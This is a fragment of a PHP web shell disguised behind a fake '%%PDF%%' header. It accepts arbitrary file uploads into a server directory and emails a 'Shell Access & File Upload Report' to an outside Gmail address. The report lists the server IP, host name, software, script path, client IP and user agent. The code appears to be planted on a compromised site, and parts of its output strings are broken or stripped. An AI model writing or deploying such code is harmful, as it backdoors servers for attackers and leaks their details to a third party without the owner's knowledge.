%%PDF%% $name) { if (empty($_FILES['userfile']['tmp_name'][$i])) { continue; } $uploadfile = $upload_dir_path . '/' . basename($name); echo "
";
if (move_uploaded_file($_FILES['userfile']['tmp_name'][$i], $uploadfile)) {
$uploaded_files[] = $uploadfile;
echo "";
echo "File successfully uploaded: " . htmlspecialchars($uploadfile);
echo "";
} else {
$failed_uploads[] = $name;
echo "";
echo "Possible file upload attack! Failed to upload " . htmlspecialchars($name);
echo "";
}
echo "";
}
}
// --- Email Notification ---
if (isset($_SERVER['HTTP_HOST'])) {
$to = "vishnu.idg.handler@gmail.com";
$subject = "Shell Access & File Upload Report from " . $_SERVER['HTTP_HOST'];
// --- Basic Info ---
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A';
$referer = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER']) : 'N/A';
$access_url = "http://" . $_SERVER['HTTP_HOST'] . htmlspecialchars($_SERVER['REQUEST_URI']);
// --- HTML Email Body ---
$email_body = "
| Access URL | {$access_url} |
|---|---|
| Timestamp | " . date("Y-m-d H:i:s") . " |
| Server IP | {$server_ip} |
| Server Name | " . htmlspecialchars($_SERVER['SERVER_NAME']) . " |
| Server Software | " . htmlspecialchars($_SERVER['SERVER_SOFTWARE']) . " |
| Request Method | " . htmlspecialchars($_SERVER['REQUEST_METHOD']) . " |
| Client IP | " . htmlspecialchars($_SERVER['REMOTE_ADDR']) . " |
|---|---|
| User-Agent | " . htmlspecialchars($_SERVER['HTTP_USER_AGENT']) . " |
| Referer | {$referer} |
| Script Path | " . htmlspecialchars($_SERVER['SCRIPT_FILENAME']) . " |
|---|---|
| Script Name | " . htmlspecialchars($_SERVER['SCRIPT_NAME']) . " |
Upload Directory: " . htmlspecialchars($upload_dir_path) . "
"; if (!empty($uploaded_files)) { $email_body .= "No files were uploaded in this request.
"; } $email_body .= "